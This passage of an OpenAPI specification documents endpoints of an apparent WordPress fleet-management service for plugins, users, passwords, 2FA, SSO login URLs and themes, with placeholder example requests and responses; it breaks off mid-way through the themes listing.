"operationId": "listSitesWpPlugins", "description": "Returns installed WordPress plugins for sites available to you. Each site\nincludes plugin version, update availability, activation state, package\navailability, update lock status, vulnerability status, and malicious\nclassification status.\n\nUse this list to review plugin inventory, find plugin `filename` values\nfor plugin actions, or filter by plugin state.\n\nIf `site_ids` is omitted, all sites available to you are included.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `database_update_required`, `active`, `network_wide`, `package_available`, `vulnerable`, `locked`, `malicious`\n- Supported operators:\n - `contains`: `name`\n - `eq`: `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `database_update_required`, `active`, `network_wide`, `package_available`, `vulnerable`, `locked`, `malicious`\n- Boolean filters accept `true` or `false`\n- Example: `filters[name:contains]=akismet`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `database_update_required`, `active`, `network_wide`, `package_available`, `vulnerable`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `name,asc`\n- Example: `sort=name,asc`\n\nA successful response returns a paginated list of WordPress plugins by\nsite.\n", "parameters": [ { "name": "site_ids", "in": "query", "required": false, "style": "form", "explode": true, "schema": { "$ref": "#/components/schemas/SiteIdsQuery" }, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "include_vulnerabilities", "in": "query", "required": false, "schema": { "type": "boolean", "default": false }, "description": "Set to `true` to include optional vulnerability details for supported site plans.", "example": true }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSitesWpPluginsSort" }, "description": "Sort order for returned WordPress plugins.", "example": "name,asc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SitesWpPluginFilters" }, "description": "Filters applied to returned WordPress plugins.", "example": { "name:contains": "akismet", "active:eq": true, "update_available:eq": true } } ], "responses": { "200": { "description": "WordPress plugins were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSitesWpPluginsResponse" }, "examples": { "default_response": { "summary": "Default response", "value": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "plugins": [ { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "latest_version": "5.3.3", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "vulnerable": false, "malicious": false } ] } }, { "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708", "last_sync_at": "2026-01-12T09:15:00Z", "wp": { "plugins": [ { "name": "Yoast SEO", "slug": "wordpress-seo", "filename": "wordpress-seo/wp-seo.php", "current_version": "22.0", "latest_version": "22.0", "update_available": false, "database": { "current_version": "2.0", "latest_version": "2.0", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": true, "vulnerable": false, "malicious": false } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "with_vulnerabilities": { "summary": "Response with vulnerability details", "value": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "plugins": [ { "name": "Akismet Anti-spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.1.0", "latest_version": "5.3.2", "update_available": true, "database": { "current_version": "1.0", "latest_version": "1.1", "update_required": false }, "active": true, "network_wide": false, "package_available": true, "locked": false, "malicious": false, "security": { "vulnerable": true, "vulnerabilities": [ { "vulnerability_id": "6fb92d35", "title": "Unauthenticated SQL injection", "cve_id": "CVE-2026-12345", "ghsa_id": "GHSA-abcd-1234-wxyz", "cvss_rating": "critical", "cvss_score": 9.1, "patched_version": "5.3.2", "published_at": "2026-06-20T00:00:00Z", "virtual_patch": { "available": true, "mode": "inherit", "state": "live", "live_at": "2026-06-22T00:00:00Z", "applied": true, "applied_at": "2026-06-22T10:20:00Z" } } ] } } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 1 } } } } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsSiteIdsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins/install": { "post": { "tags": [ "WordPress Plugins" ], "summary": "Install plugins", "operationId": "installSitesWpPlugins", "description": "Starts a background task to install WordPress.org plugins on submitted\nsites.\n\nUse this when plugins available from WordPress.org should be installed\non selected sites.\n\nSubmitted sites must be available to you.\n\nA successful response returns the task created for plugin installation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/InstallSitesWpPluginsRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "slug": "akismet", "name": "Akismet Anti-spam", "version": "5.3.3", "package": "https://downloads.wordpress.org/plugin/akismet.5.3.3.zip" } ] } ] } } } }, "responses": { "200": { "description": "Plugin install task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/InstallSitesWpPluginsResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsInstallBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsInstallUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins/upload": { "post": { "tags": [ "WordPress Plugins" ], "summary": "Upload plugins", "operationId": "uploadSitesWpPlugins", "description": "Uploads plugin ZIP files and starts a background task to install them on\nsubmitted sites.\n\nUse this when selected sites need plugins installed from ZIP packages\nyou upload.\n\nThe request must use `multipart/form-data`. Submitted sites must be\navailable to you. Each uploaded file must be a plugin ZIP archive no\nlarger than 50 MB.\n\nA successful response returns the task created for plugin upload.\n", "requestBody": { "required": true, "content": { "multipart/form-data": { "schema": { "$ref": "#/components/schemas/UploadSitesWpPluginsRequest" }, "encoding": { "plugins": { "style": "form", "explode": true } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } ], "plugins": [ { "file": "plugin.zip" } ] } } } }, "responses": { "200": { "description": "Plugin upload task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UploadSitesWpPluginsResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsUploadBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsUploadUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins/activate": { "post": { "tags": [ "WordPress Plugins" ], "summary": "Activate plugins", "operationId": "activateSitesWpPlugins", "description": "Starts a background task to activate installed plugins on submitted\nsites.\n\nUse this when plugins should start running on selected sites.\n\nUse `filename` values from the plugin list. Each `filename` must belong\nto a plugin installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the task created for plugin activation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ActivateSitesWpPluginsRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } } } }, "responses": { "200": { "description": "Plugin activation task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ActivateSitesWpPluginsResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsOperationBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsOperationUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins/deactivate": { "post": { "tags": [ "WordPress Plugins" ], "summary": "Deactivate plugins", "operationId": "deactivateSitesWpPlugins", "description": "Starts a background task to deactivate installed plugins on submitted\nsites.\n\nUse this when plugins should stop running on selected sites without\nbeing removed.\n\nUse `filename` values from the plugin list. Each `filename` must belong\nto a plugin installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the task created for plugin deactivation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeactivateSitesWpPluginsRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } } } }, "responses": { "200": { "description": "Plugin deactivation task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeactivateSitesWpPluginsResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsOperationBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsOperationUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins/delete": { "post": { "tags": [ "WordPress Plugins" ], "summary": "Delete plugins", "operationId": "deleteSitesWpPlugins", "description": "Starts a background task to delete installed plugins from submitted\nsites.\n\nUse this when plugins should be removed from selected sites.\n\nUse `filename` values from the plugin list. Each `filename` must belong\nto a plugin installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the task created for plugin deletion.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSitesWpPluginsRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } } } }, "responses": { "200": { "description": "Plugin deletion task was created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSitesWpPluginsResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsOperationBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsOperationUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins/lock": { "post": { "tags": [ "WordPress Plugins" ], "summary": "Lock plugin updates", "operationId": "lockSitesWpPlugins", "description": "Locks updates for installed plugins on submitted sites.\n\nUse this when specific plugins should stay on their current version.\n\nUse `filename` values from the plugin list. Each `filename` must belong\nto a plugin installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the site IDs where plugin updates were\nlocked.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/LockSitesWpPluginsRequest" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } } } }, "responses": { "200": { "description": "Plugin updates were locked for the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/LockSitesWpPluginsResponse" }, "example": { "lock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsLockBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsLockUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/plugins/unlock": { "post": { "tags": [ "WordPress Plugins" ], "summary": "Unlock plugin updates", "operationId": "unlockSitesWpPlugins", "description": "Removes update locks from installed plugins on submitted sites.\n\nUse this when previously locked plugins should be allowed to update\nagain.\n\nUse `filename` values from the plugin list. Each `filename` must belong\nto a plugin installed on the selected site. Submitted sites must be\navailable to you.\n\nA successful response returns the site IDs where plugin updates were\nunlocked.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnlockSitesWpPluginsRequest" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } } } }, "responses": { "200": { "description": "Plugin updates were unlocked for the submitted sites.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UnlockSitesWpPluginsResponse" }, "example": { "unlock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } } } }, "400": { "$ref": "#/components/responses/SitesWpPluginsLockBadRequestResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpPluginsLockUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/users": { "get": { "tags": [ "WordPress Users" ], "summary": "List WordPress users", "operationId": "listSitesWpUsers", "description": "Returns WordPress user accounts for sites available to you. Each site\nincludes `wp_object_id`, username, email, display name, role, 2FA\nstatus, and default login state.\n\nUse this list to review WordPress users, find `wp_object_id` values for\ndelete, role, password, 2FA, default login, or SSO requests, or filter\nby role and 2FA status.\n\nIf `site_ids` is omitted, all sites available to you are included.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `username`, `email`, `name`, `role`, `two_fa_status`\n- Supported operators:\n - `contains`: `username`, `email`, `name`\n - `eq`: `role`\n - `in`: `two_fa_status`\n- Allowed `role` values: `administrator`, `editor`, `author`, `contributor`, `subscriber`\n- Allowed `two_fa_status` values: `not_applied`, `pending`, `applied`\n- `filters[two_fa_status:in][]` must be sent as an array\n- Example: `filters[role:eq]=administrator`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `username`, `email`, `name`, `role`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `username,asc`\n- Example: `sort=username,asc`\n\nA successful response returns a paginated list of WordPress users by\nsite.\n", "parameters": [ { "name": "site_ids", "in": "query", "required": false, "style": "form", "explode": true, "schema": { "$ref": "#/components/schemas/SiteIdsQuery" }, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSitesWpUsersSort" }, "description": "Sort order for returned WordPress users.", "example": "username,asc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SitesWpUserFilters" }, "description": "Filters applied to returned WordPress users.", "example": { "username:contains": "admin", "role:eq": "administrator", "two_fa_status:in": [ "applied" ] } } ], "responses": { "200": { "description": "WordPress users were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSitesWpUsersResponse" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "users": [ { "wp_object_id": 42, "username": "admin", "email": "admin@example.com", "name": "Ada Lovelace", "role": "administrator", "two_fa_status": "applied", "default_login": true } ] } }, { "id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f", "last_sync_at": "2026-01-11T12:15:00Z", "wp": { "users": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersInvalidIndexQueryResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUsersSiteIdsUnprocessableResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } }, "post": { "tags": [ "WordPress Users" ], "summary": "Create WordPress users", "operationId": "createSitesWpUsers", "description": "Starts a background task to create WordPress users on submitted sites.\n\nUse this when new WordPress user accounts should be added to selected\nsites.\n\nSubmitted sites must be available to you.\n\nA successful response returns the task created for user creation.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSitesWpUsersRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "username": "neweditor", "password": "secretpass123", "email": "neweditor@example.com", "first_name": "New", "last_name": "Editor", "role": "editor" } ] } ] } } } }, "responses": { "201": { "description": "A WordPress user creation task was started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/CreateSitesWpUsersResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersValidationErrorResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUsersBusinessErrorResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/users/delete": { "post": { "tags": [ "WordPress Users" ], "summary": "Delete WordPress users", "operationId": "deleteSitesWpUsers", "description": "Starts a background task to delete WordPress users from submitted sites.\n\nUse this when WordPress user accounts should be removed from selected\nsites.\n\nSubmitted sites must be available to you. Each `wp_object_id` must\nbelong to a WordPress user on the selected site. Each `assign_to` value,\nwhen sent, must also belong to a WordPress user on that site.\n\nFor each user, send exactly one of `assign_to` or `delete_content` set\nto `true`. Requests that would remove the last administrator or the\nonly user on a site are rejected.\n\nA successful response returns the task created for user deletion.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSitesWpUsersRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "assign_to": 7 }, { "wp_object_id": 43, "delete_content": true } ] } ] } } } }, "responses": { "200": { "description": "A WordPress user delete task was started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/DeleteSitesWpUsersResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersValidationErrorResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUsersBusinessErrorResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/users/update-roles": { "post": { "tags": [ "WordPress Users" ], "summary": "Update WordPress user roles", "operationId": "updateSitesWpUserRoles", "description": "Starts a background task to update WordPress user roles on submitted\nsites.\n\nUse this when WordPress users should receive a different role on\nselected sites.\n\nSubmitted sites must be available to you. Each `wp_object_id` must\nbelong to a WordPress user on the selected site.\n\nRequests that would demote the last administrator on a site are\nrejected.\n\nA successful response returns the task created for role updates.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSitesWpUserRolesRequest" }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "role": "editor" } ] } ] } } } }, "responses": { "200": { "description": "A WordPress user role update task was started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSitesWpUserRolesResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersValidationErrorResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUsersBusinessErrorResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/users/update-passwords": { "post": { "tags": [ "WordPress Users" ], "summary": "Update WordPress user passwords", "operationId": "updateSitesWpUserPasswords", "description": "Starts a background task to update WordPress user passwords on submitted\nsites.\n\nUse this when WordPress users should receive new passwords on selected\nsites.\n\nSubmitted sites must be available to you. Each `wp_object_id` must\nbelong to a WordPress user on the selected site.\n\nWhen `send_email` is sent, it applies to every submitted password\nchange.\n\nA successful response returns the task created for password updates.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSitesWpUserPasswordsRequest" }, "example": { "override_lock": false, "send_email": true, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "new_password": "newpass123" } ] } ] } } } }, "responses": { "200": { "description": "A WordPress user password update task was started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/UpdateSitesWpUserPasswordsResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersValidationErrorResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUsersBusinessErrorResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/users/manage-2fa": { "post": { "tags": [ "WordPress Users" ], "summary": "Manage WordPress user 2FA", "operationId": "manageSitesWpUser2fa", "description": "Starts a background task to enable, disable, or reset WordPress 2FA for\nsubmitted users.\n\nUse this when WordPress users should have 2FA enabled, disabled, or\nreset on selected sites.\n\nSubmitted sites must be available to you. Each `wp_object_id` must\nbelong to a WordPress user on the selected site.\n\nSend `action` as `enable`, `disable`, or `reset`.\n\nA successful response returns the task created for 2FA changes.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ManageSitesWpUser2faRequest" }, "example": { "action": "enable", "send_email": true, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42 } ] } ] } } } }, "responses": { "200": { "description": "A WordPress user 2FA task was started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ManageSitesWpUser2faResponse" }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersValidationErrorResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUsersBusinessErrorResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/users/set-default": { "post": { "tags": [ "WordPress Users" ], "summary": "Set default WordPress login user", "operationId": "setDefaultSitesWpUsers", "description": "Sets the default WordPress login user for submitted sites.\n\nUse this when SSO login should use a specific WordPress user on each\nselected site.\n\nSubmitted sites must be available to you. Each `wp_object_id` must\nbelong to a WordPress user on the selected site.\n\nA successful response returns the site IDs where the default login user\nwas set and update counts.\n", "requestBody": { "required": true, "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SetDefaultSitesWpUserRequest" }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "wp_object_id": 42 } ] } } } }, "responses": { "200": { "description": "Default WordPress login users were set.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SetDefaultSitesWpUserResponse" }, "example": { "set_default": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersValidationErrorResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "422": { "$ref": "#/components/responses/SitesWpUsersBusinessErrorResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/{site_id}/wp/users/sso-login-url": { "get": { "tags": [ "WordPress Users" ], "summary": "Generate WordPress SSO login URL", "operationId": "getSiteWpUserSsoLoginUrl", "description": "Generates a temporary WordPress admin SSO login URL for the selected site.\n\nUse this when you need to open WordPress admin for a site without\nentering WordPress credentials.\n\nSend a `wp_object_id` from the WordPress user list to log in as that\nuser. Omit `wp_object_id` to use an eligible administrator. Non-blank\n`wp_object_id` values must be integers.\n\nA successful response returns a temporary SSO login URL.\n", "parameters": [ { "name": "site_id", "in": "path", "required": true, "schema": { "$ref": "#/components/schemas/SiteId" }, "description": "Site ID returned in site lists and details.", "example": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" }, { "name": "wp_object_id", "in": "query", "required": false, "schema": { "type": "integer" }, "description": "WordPress user object ID from the user list. Omit this parameter to use an eligible administrator.", "example": 42 } ], "responses": { "200": { "description": "A WordPress SSO login URL was generated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/GetSitesWpUserSsoLoginUrlResponse" }, "example": { "url": "https://example.com/wp-admin/?bv_auto_login=token" } } } }, "400": { "$ref": "#/components/responses/SitesWpUsersValidationErrorResponse" }, "401": { "$ref": "#/components/responses/UnauthorizedResponse" }, "403": { "$ref": "#/components/responses/ForbiddenInactiveAccountResponse" }, "404": { "$ref": "#/components/responses/SitesWpUsersSsoNotFoundResponse" }, "429": { "$ref": "#/components/responses/RateLimitedResponse" } } } }, "/sites/wp/themes": { "get": { "tags": [ "WordPress Themes" ], "summary": "List WordPress themes", "operationId": "listSitesWpThemes", "description": "Returns installed WordPress themes for sites available to you. Each site\nincludes theme version, update availability, active state, child-theme\nstate, package availability, vulnerability status, and update lock\nstatus.\n\nUse this list to review theme inventory, find `filename` values for\nactivation, deletion, lock, or unlock requests, or filter by theme\nstate.\n\nIf `site_ids` is omitted, all sites available to you are included.\n\n**Filtering**\n- Format: `filters[field:operator]=value`\n- Allowed fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `active`, `active_child`, `package_available`, `vulnerable`, `locked`\n- Supported operators:\n - `contains`: `name`\n - `eq`: `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `active`, `active_child`, `package_available`, `vulnerable`, `locked`\n- Boolean filters accept `true` or `false`\n- Example: `filters[name:contains]=twenty`\n\n**Sorting**\n- Format: `sort=field,direction`\n- Sortable fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `active`, `active_child`, `package_available`, `vulnerable`\n- Supported directions: `asc` (ascending), `desc` (descending)\n- Default: `name,asc`\n- Example: `sort=name,asc`\n\nA successful response returns a paginated list of WordPress themes by\nsite.\n", "parameters": [ { "name": "site_ids", "in": "query", "required": false, "style": "form", "explode": true, "schema": { "$ref": "#/components/schemas/SiteIdsQuery" }, "description": "Site IDs to include. Omit this parameter to include all sites available to you.", "example": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] }, { "$ref": "#/components/parameters/page" }, { "$ref": "#/components/parameters/per_page" }, { "name": "include_vulnerabilities", "in": "query", "required": false, "schema": { "type": "boolean", "default": false }, "description": "Set to `true` to include optional vulnerability details for supported site plans.", "example": true }, { "name": "sort", "in": "query", "required": false, "schema": { "$ref": "#/components/schemas/ListSitesWpThemesSort" }, "description": "Sort order for returned WordPress themes.", "example": "name,asc" }, { "name": "filters", "in": "query", "required": false, "style": "deepObject", "explode": true, "schema": { "$ref": "#/components/schemas/SitesWpThemeFilters" }, "description": "Filters applied to returned WordPress themes.", "example": { "name:contains": "twenty", "active:eq": true, "update_available:eq": true } } ], "responses": { "200": { "description": "WordPress themes were returned.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ListSitesWpThemesResponse" }, "examples": { "default_response": { "summary": "Default response", "value": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", 